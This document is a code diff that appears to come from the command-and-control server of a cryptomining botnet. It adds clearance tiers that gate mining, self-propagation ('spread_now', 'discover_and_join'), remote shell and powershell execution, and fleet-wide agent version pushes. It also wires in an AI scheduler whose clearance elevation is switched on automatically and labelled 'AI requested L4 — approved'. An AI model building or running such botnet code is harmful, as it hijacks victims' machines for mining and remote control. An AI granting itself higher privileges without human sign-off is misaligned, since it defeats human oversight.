{"exec_shell", nil},
|
||||
{"agent_command", map[string]interface{}{"action": "exec"}},
|
||||
{"agent_command", map[string]interface{}{"action": "powershell"}},
|
||||
}
|
||||
|
||||
for _, tc := range cases {
|
||||
if err := EnforceClearance(tc.cmdType, tc.args, agentClearance); err == nil {
|
||||
t.Fatalf("expected clearance error for %s %+v at L2", tc.cmdType, tc.args)
|
||||
}
|
||||
}
|
||||
|
||||
if err := EnforceClearance("discover_and_join", nil, agentClearance); err != nil {
|
||||
t.Fatalf("L2 should allow spread: %v", err)
|
||||
}
|
||||
if err := EnforceAction("exec", agentClearance); err == nil {
|
||||
t.Fatal("L2 should block exec action")
|
||||
}
|
||||
if err := EnforceAction("pause", agentClearance); err != nil {
|
||||
t.Fatalf("L2 should allow pause: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCommandRequiredLevels(t *testing.T) {
|
||||
if CommandRequiredLevel("restart_mining", nil) != L1 {
|
||||
t.Fatal("restart_mining should be L1")
|
||||
}
|
||||
if CommandRequiredLevel("spread_now", nil) != L2 {
|
||||
t.Fatal("spread_now should be L2")
|
||||
}
|
||||
if CommandRequiredLevel("set_agent_version", nil) != L4 {
|
||||
t.Fatal("set_agent_version should be L4")
|
||||
}
|
||||
}
|
||||
12
server/internal/clearance/default.go
Normal file
12
server/internal/clearance/default.go
Normal file
@@ -0,0 +1,12 @@
|
||||
package clearance
|
||||
|
||||
import "crypto-miner-server/internal/models"
|
||||
|
||||
// DefaultClearance returns the baseline clearance for an agent.
|
||||
// Online agents start at L1 (mining commands); offline agents are L0 (read-only).
|
||||
func DefaultClearance(agent *models.Agent) int {
|
||||
if agent != nil && agent.Status == "online" {
|
||||
return L1
|
||||
}
|
||||
return L0
|
||||
}
|
||||
42
server/internal/clearance/elevation.go
Normal file
42
server/internal/clearance/elevation.go
Normal file
@@ -0,0 +1,42 @@
|
||||
package clearance
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// EventStore persists clearance changes and audit rows.
|
||||
type EventStore interface {
|
||||
InsertClearanceEvent(agentID string, fromLevel, toLevel int, reason, source string) error
|
||||
}
|
||||
|
||||
// RequestElevation raises an agent to toLevel when higher than current, logs the event, and returns the new level.
|
||||
func RequestElevation(store EventStore, agentID string, currentLevel, toLevel int, reason, source string) (int, error) {
|
||||
agentID = strings.TrimSpace(agentID)
|
||||
if agentID == "" {
|
||||
return currentLevel, fmt.Errorf("agent id required")
|
||||
}
|
||||
if toLevel < L0 {
|
||||
toLevel = L0
|
||||
}
|
||||
if toLevel > L4 {
|
||||
toLevel = L4
|
||||
}
|
||||
if toLevel <= currentLevel {
|
||||
return currentLevel, nil
|
||||
}
|
||||
reason = strings.TrimSpace(reason)
|
||||
if reason == "" {
|
||||
reason = "elevation requested"
|
||||
}
|
||||
source = strings.TrimSpace(source)
|
||||
if source == "" {
|
||||
source = "system"
|
||||
}
|
||||
if store != nil {
|
||||
if err := store.InsertClearanceEvent(agentID, currentLevel, toLevel, reason, source); err != nil {
|
||||
return currentLevel, err
|
||||
}
|
||||
}
|
||||
return toLevel, nil
|
||||
}
|
||||
114
server/internal/clearance/levels.go
Normal file
114
server/internal/clearance/levels.go
Normal file
@@ -0,0 +1,114 @@
|
||||
package clearance
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Security clearance levels (L0–L4).
|
||||
const (
|
||||
L0 = 0 // stats / read-only
|
||||
L1 = 1 // mining commands
|
||||
L2 = 2 // spread
|
||||
L3 = 3 // shell
|
||||
L4 = 4 // forge / version
|
||||
)
|
||||
|
||||
// LevelLabel returns the badge string for a clearance level.
|
||||
func LevelLabel(level int) string {
|
||||
if level < L0 {
|
||||
level = L0
|
||||
}
|
||||
if level > L4 {
|
||||
level = L4
|
||||
}
|
||||
return fmt.Sprintf("L%d", level)
|
||||
}
|
||||
|
||||
// LevelPermissions describes what each level allows (UI tooltips).
|
||||
func LevelPermissions(level int) string {
|
||||
switch level {
|
||||
case L0:
|
||||
return "stats and read-only probes"
|
||||
case L1:
|
||||
return "mining: pause, resume, restart"
|
||||
case L2:
|
||||
return "spread: discover_and_join, spread_now, stage_fetch"
|
||||
case L3:
|
||||
return "shell: exec_shell, agent_command"
|
||||
case L4:
|
||||
return "forge: set_agent_version, reorder_tiers fleet-wide"
|
||||
default:
|
||||
return "unknown clearance"
|
||||
}
|
||||
}
|
||||
|
||||
// ActionRequiredLevel maps a remote agent action to the minimum clearance level.
|
||||
func ActionRequiredLevel(action string) int {
|
||||
switch normalizeKey(action) {
|
||||
case "pause", "resume", "restart", "restart_mining", "start_mining", "stop":
|
||||
return L1
|
||||
case "discover_and_join", "spread_now", "stage_fetch":
|
||||
return L2
|
||||
case "exec", "exec_shell", "powershell", "agent_command":
|
||||
return L3
|
||||
case "fetch_module", "set_agent_version", "reorder_tiers", "adaptive_strategy_update":
|
||||
return L4
|
||||
default:
|
||||
return L0
|
||||
}
|
||||
}
|
||||
|
||||
// CommandRequiredLevel maps a fleet AI command type to the minimum clearance level.
|
||||
func CommandRequiredLevel(cmdType string, args map[string]interface{}) int {
|
||||
typ := normalizeKey(cmdType)
|
||||
switch typ {
|
||||
case "noop", "":
|
||||
return L0
|
||||
case "restart_mining":
|
||||
return L1
|
||||
case "discover_and_join", "spread_now", "stage_fetch":
|
||||
return L2
|
||||
case "agent_command":
|
||||
if args != nil {
|
||||
if action, ok := args["action"].(string); ok && action != "" {
|
||||
return ActionRequiredLevel(action)
|
||||
}
|
||||
}
|
||||
return L3
|
||||
case "bulk_command":
|
||||
if args != nil {
|
||||
if action, ok := args["action"].(string); ok && action != "" {
|
||||
return ActionRequiredLevel(action)
|
||||
}
|
||||
}
|
||||
return L1
|
||||
case "set_agent_version", "reorder_tiers":
|
||||
return L4
|
||||
default:
|
||||
return ActionRequiredLevel(typ)
|
||||
}
|
||||
}
|
||||
|
||||
// EnforceClearance returns an error when agentClearance is below the command requirement.
|
||||
func EnforceClearance(cmdType string, args map[string]interface{}, agentClearance int) error {
|
||||
required := CommandRequiredLevel(cmdType, args)
|
||||
if agentClearance >= required {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("clearance %s insufficient for %s (requires %s)", LevelLabel(agentClearance), cmdType, LevelLabel(required))
|
||||
}
|
||||
|
||||
// EnforceAction is the manual API path for raw agent actions.
|
||||
func EnforceAction(action string, agentClearance int) error {
|
||||
required := ActionRequiredLevel(action)
|
||||
if agentClearance >= required {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("clearance %s insufficient for %s (requires %s)", LevelLabel(agentClearance), action, LevelLabel(required))
|
||||
}
|
||||
|
||||
func normalizeKey(s string) string {
|
||||
s = strings.TrimSpace(strings.ToLower(s))
|
||||
return strings.ReplaceAll(s, "-", "_")
|
||||
}
|
||||
100
server/internal/db/clearance.go
Normal file
100
server/internal/db/clearance.go
Normal file
@@ -0,0 +1,100 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ClearanceEvent is one clearance elevation audit row.
|
||||
type ClearanceEvent struct {
|
||||
ID int64 `json:"id"`
|
||||
AgentID string `json:"agent_id"`
|
||||
FromLevel int `json:"from_level"`
|
||||
ToLevel int `json:"to_level"`
|
||||
Reason string `json:"reason"`
|
||||
Source string `json:"source"`
|
||||
Timestamp string `json:"ts"`
|
||||
}
|
||||
|
||||
func (d *Database) ensureClearanceEventsTable() error {
|
||||
_, err := d.Exec(`CREATE TABLE IF NOT EXISTS clearance_events (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
agent_id TEXT NOT NULL,
|
||||
from_level INTEGER NOT NULL DEFAULT 0,
|
||||
to_level INTEGER NOT NULL DEFAULT 0,
|
||||
reason TEXT NOT NULL DEFAULT '',
|
||||
source TEXT NOT NULL DEFAULT '',
|
||||
ts DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_clearance_events_agent ON clearance_events(agent_id)`)
|
||||
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_clearance_events_ts ON clearance_events(ts)`)
|
||||
return nil
|
||||
}
|
||||
|
||||
// InsertClearanceEvent logs a clearance elevation.
|
||||
func (d *Database) InsertClearanceEvent(agentID string, fromLevel, toLevel int, reason, source string) error {
|
||||
if d == nil {
|
||||
return nil
|
||||
}
|
||||
if err := d.ensureClearanceEventsTable(); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO clearance_events (agent_id, from_level, to_level, reason, source) VALUES (?, ?, ?, ?, ?)`,
|
||||
agentID, fromLevel, toLevel, reason, source,
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
// ListClearanceEvents returns recent clearance events for an agent (or fleet-wide when agentID empty).
|
||||
func (d *Database) ListClearanceEvents(agentID string, limit int) ([]ClearanceEvent, error) {
|
||||
if d == nil {
|
||||
return nil, nil
|
||||
}
|
||||
if err := d.ensureClearanceEventsTable(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
if limit > 500 {
|
||||
limit = 500
|
||||
}
|
||||
|
||||
var rows *sql.Rows
|
||||
var err error
|
||||
agentID = strings.TrimSpace(agentID)
|
||||
if agentID != "" {
|
||||
rows, err = d.Query(
|
||||
`SELECT id, agent_id, from_level, to_level, reason, source, ts
|
||||
FROM clearance_events WHERE agent_id = ? ORDER BY id DESC LIMIT ?`,
|
||||
agentID, limit,
|
||||
)
|
||||
} else {
|
||||
rows, err = d.Query(
|
||||
`SELECT id, agent_id, from_level, to_level, reason, source, ts
|
||||
FROM clearance_events ORDER BY id DESC LIMIT ?`,
|
||||
limit,
|
||||
)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("list clearance events: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
out := make([]ClearanceEvent, 0, limit)
|
||||
for rows.Next() {
|
||||
var rec ClearanceEvent
|
||||
var ts string
|
||||
if err := rows.Scan(&rec.ID, &rec.AgentID, &rec.FromLevel, &rec.ToLevel, &rec.Reason, &rec.Source, &ts); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rec.Timestamp = ts
|
||||
out = append(out, rec)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
@@ -17,6 +17,7 @@ import (
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/api"
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/builder"
|
||||
"crypto-miner-server/internal/cloudflared"
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -138,6 +139,7 @@ func main() {
|
||||
wsHub := api.NewWSHub(database)
|
||||
adaptiveEngine := strategy.NewAdaptiveEngine(database, cfg.Server.AdaptiveStrategyEnabled)
|
||||
wsHub.SetAdaptiveEngine(adaptiveEngine)
|
||||
wsHub.SetFailureAtlas(atlas.NewFailureAtlas(database))
|
||||
wsHub.SetAIHandler(aiHandler)
|
||||
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
|
||||
api.SetAgentPathSecret(cfg.Server.FleetSecret)
|
||||
@@ -272,8 +274,10 @@ func main() {
|
||||
fleetAISched := fleetai.NewScheduler(
|
||||
&api.ConfigAIAdapter{Src: configProvider},
|
||||
&api.WSHubSnapshotAdapter{Hub: wsHub},
|
||||
&api.FleetAIExecutor{Hub: wsHub},
|
||||
&api.ClearanceGuardExecutor{Inner: &api.FleetAIExecutor{Hub: wsHub}, Clearance: wsHub.ClearanceManager()},
|
||||
&api.DatabaseAIDecisionStore{DB: database},
|
||||
&api.DatabaseCourtAdapter{DB: database},
|
||||
wsHub.ClearanceManager(),
|
||||
)
|
||||
fleetAISched.Start()
|
||||
defer fleetAISched.Stop()
|
||||
@@ -502,11 +506,13 @@ func (p *serverConfigProvider) GetFleetAIConfig() api.FleetAIConfigView {
|
||||
interval = 60
|
||||
}
|
||||
return api.FleetAIConfigView{
|
||||
AIControlEnabled: s.AIControlEnabled,
|
||||
AIEndpoint: s.AIEndpoint,
|
||||
AIModel: s.AIModel,
|
||||
AINoContext: s.AINoContext,
|
||||
AIDecisionIntervalSec: interval,
|
||||
AIControlEnabled: s.AIControlEnabled,
|
||||
AIEndpoint: s.AIEndpoint,
|
||||
AIModel: s.AIModel,
|
||||
AINoContext: s.AINoContext,
|
||||
AIDecisionIntervalSec: interval,
|
||||
AIAutoElevateClearance: s.AIAutoElevateClearance || s.AIControlEnabled,
|
||||
AIPersona: fleetai.NormalizePersona(s.AIPersona),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -522,8 +528,10 @@ func (p *serverConfigProvider) UpdateFleetAIConfig(v api.FleetAIConfigView) erro
|
||||
"ai_control_enabled": v.AIControlEnabled,
|
||||
"ai_endpoint": v.AIEndpoint,
|
||||
"ai_model": v.AIModel,
|
||||
"ai_no_context": v.AINoContext,
|
||||
"ai_decision_interval_sec": v.AIDecisionIntervalSec,
|
||||
"ai_no_context": v.AINoContext,
|
||||
"ai_decision_interval_sec": v.AIDecisionIntervalSec,
|
||||
"ai_auto_elevate_clearance": v.AIAutoElevateClearance,
|
||||
"ai_persona": fleetai.NormalizePersona(v.AIPersona),
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -230,6 +230,14 @@ export const api = {
|
||||
params.set('limit', String(limit));
|
||||
return fetchJSON<AIDecisionRecord[]>(`/ai/decisions?${params}`);
|
||||
},
|
||||
getClearanceEvents: (agentId?: string, limit = 50) => {
|
||||
const params = new URLSearchParams();
|
||||
if (agentId?.trim()) params.set('agent_id', agentId.trim());
|
||||
params.set('limit', String(limit));
|
||||
return fetchJSON<import('../help/clearance').ClearanceEventRecord[]>(
|
||||
`/ai/clearance-events?${params}`,
|
||||
);
|
||||
},
|
||||
getAIModels: (endpoint: string) =>
|
||||
fetchJSON<{ models: string[]; endpoint?: string; error?: string }>(
|
||||
`/ai/models?endpoint=${encodeURIComponent(endpoint)}`,
|
||||
|
||||
@@ -184,6 +184,21 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'clearance_elevated': {
|
||||
const p = msg.payload as {
|
||||
agent_id: string;
|
||||
from_level: number;
|
||||
to_level: number;
|
||||
reason?: string;
|
||||
source?: string;
|
||||
};
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
a.id === p.agent_id ? { ...a, clearance_level: p.to_level } : a,
|
||||
),
|
||||
);
|
||||
break;
|
||||
}
|
||||
case 'new_share': {
|
||||
const share = msg.payload as Share;
|
||||
setRecentShares((prev) => [share, ...prev].slice(0, 50));
|
||||
|
||||
28
server/web/src/help/clearance.test.ts
Normal file
28
server/web/src/help/clearance.test.ts
Normal file
@@ -0,0 +1,28 @@
|
||||
/**
|
||||
* @vitest-environment node
|
||||
*/
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
clearanceLabel,
|
||||
clearancePermissions,
|
||||
formatClearanceElevation,
|
||||
} from './clearance';
|
||||
|
||||
describe('clearance helpers', () => {
|
||||
it('labels L0–L4', () => {
|
||||
expect(clearanceLabel(0)).toBe('L0');
|
||||
expect(clearanceLabel(4)).toBe('L4');
|
||||
expect(clearanceLabel(99)).toBe('L4');
|
||||
});
|
||||
|
||||
it('describes permissions per level', () => {
|
||||
expect(clearancePermissions(2)).toMatch(/spread/i);
|
||||
expect(clearancePermissions(3)).toMatch(/shell/i);
|
||||
});
|
||||
|
||||
it('formats AI elevation flash copy', () => {
|
||||
expect(
|
||||
formatClearanceElevation({ to_level: 4, source: 'ai_scheduler', reason: 'stuck host recovery' }),
|
||||
).toBe('AI requested L4 — approved');
|
||||
});
|
||||
});
|
||||
58
server/web/src/help/clearance.ts
Normal file
58
server/web/src/help/clearance.ts
Normal file
@@ -0,0 +1,58 @@
|
||||
/** Security clearance L0–L4 (mirrors server/internal/clearance). */
|
||||
|
||||
export const CLEARANCE_MIN = 0;
|
||||
export const CLEARANCE_MAX = 4;
|
||||
|
||||
export interface ClearanceEventRecord {
|
||||
id: number;
|
||||
agent_id: string;
|
||||
from_level: number;
|
||||
to_level: number;
|
||||
reason: string;
|
||||
source: string;
|
||||
ts: string;
|
||||
}
|
||||
|
||||
export function clearanceLabel(level: number): string {
|
||||
const n = Math.max(CLEARANCE_MIN, Math.min(CLEARANCE_MAX, level));
|
||||
return `L${n}`;
|
||||
}
|
||||
|
||||
export function clearancePermissions(level: number): string {
|
||||
switch (Math.max(CLEARANCE_MIN, Math.min(CLEARANCE_MAX, level))) {
|
||||
case 0:
|
||||
return 'Stats and read-only probes';
|
||||
case 1:
|
||||
return 'Mining: pause, resume, restart';
|
||||
case 2:
|
||||
return 'Spread: discover_and_join, spread_now, stage_fetch';
|
||||
case 3:
|
||||
return 'Shell: exec_shell, agent_command';
|
||||
case 4:
|
||||
return 'Forge: set_agent_version, reorder_tiers fleet-wide';
|
||||
default:
|
||||
return 'Unknown clearance';
|
||||
}
|
||||
}
|
||||
|
||||
export function formatClearanceElevation(event: {
|
||||
to_level: number;
|
||||
source?: string;
|
||||
reason?: string;
|
||||
}): string {
|
||||
const level = clearanceLabel(event.to_level);
|
||||
if (event.source === 'ai_scheduler') {
|
||||
return `AI requested ${level} — approved`;
|
||||
}
|
||||
if (event.reason?.trim()) {
|
||||
return `${level} — ${event.reason.trim()}`;
|
||||
}
|
||||
return `Elevated to ${level}`;
|
||||
}
|
||||
|
||||
export function clearanceTimelineSummary(event: ClearanceEventRecord): string {
|
||||
const from = clearanceLabel(event.from_level);
|
||||
const to = clearanceLabel(event.to_level);
|
||||
const who = event.source === 'ai_scheduler' ? 'AI' : event.source || 'system';
|
||||
return `${who}: ${from} → ${to}${event.reason ? ` (${event.reason})` : ''}`;
|
||||
}
|
||||
@@ -92,4 +92,5 @@ export const WS_LATEST_MESSAGE_TYPES = new Set([
|
||||
'new_share',
|
||||
'fleet_alert',
|
||||
'command_result',
|
||||
'clearance_elevated',
|
||||
]);
|
||||
|
||||
@@ -330,6 +330,8 @@ export interface ServerSettings {
|
||||
ai_decision_interval_sec?: number;
|
||||
/** @deprecated Alias hydrated from legacy saves — prefer ai_decision_interval_sec. */
|
||||
ai_interval_sec?: number;
|
||||
/** Fleet AI persona preset: aggressive | silent | passive | persuasive | balanced. */
|
||||
ai_persona?: string;
|
||||
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
||||
triple_onion_policy?: {
|
||||
patch_first?: boolean;
|
||||
|
||||
Reference in New Issue
Block a user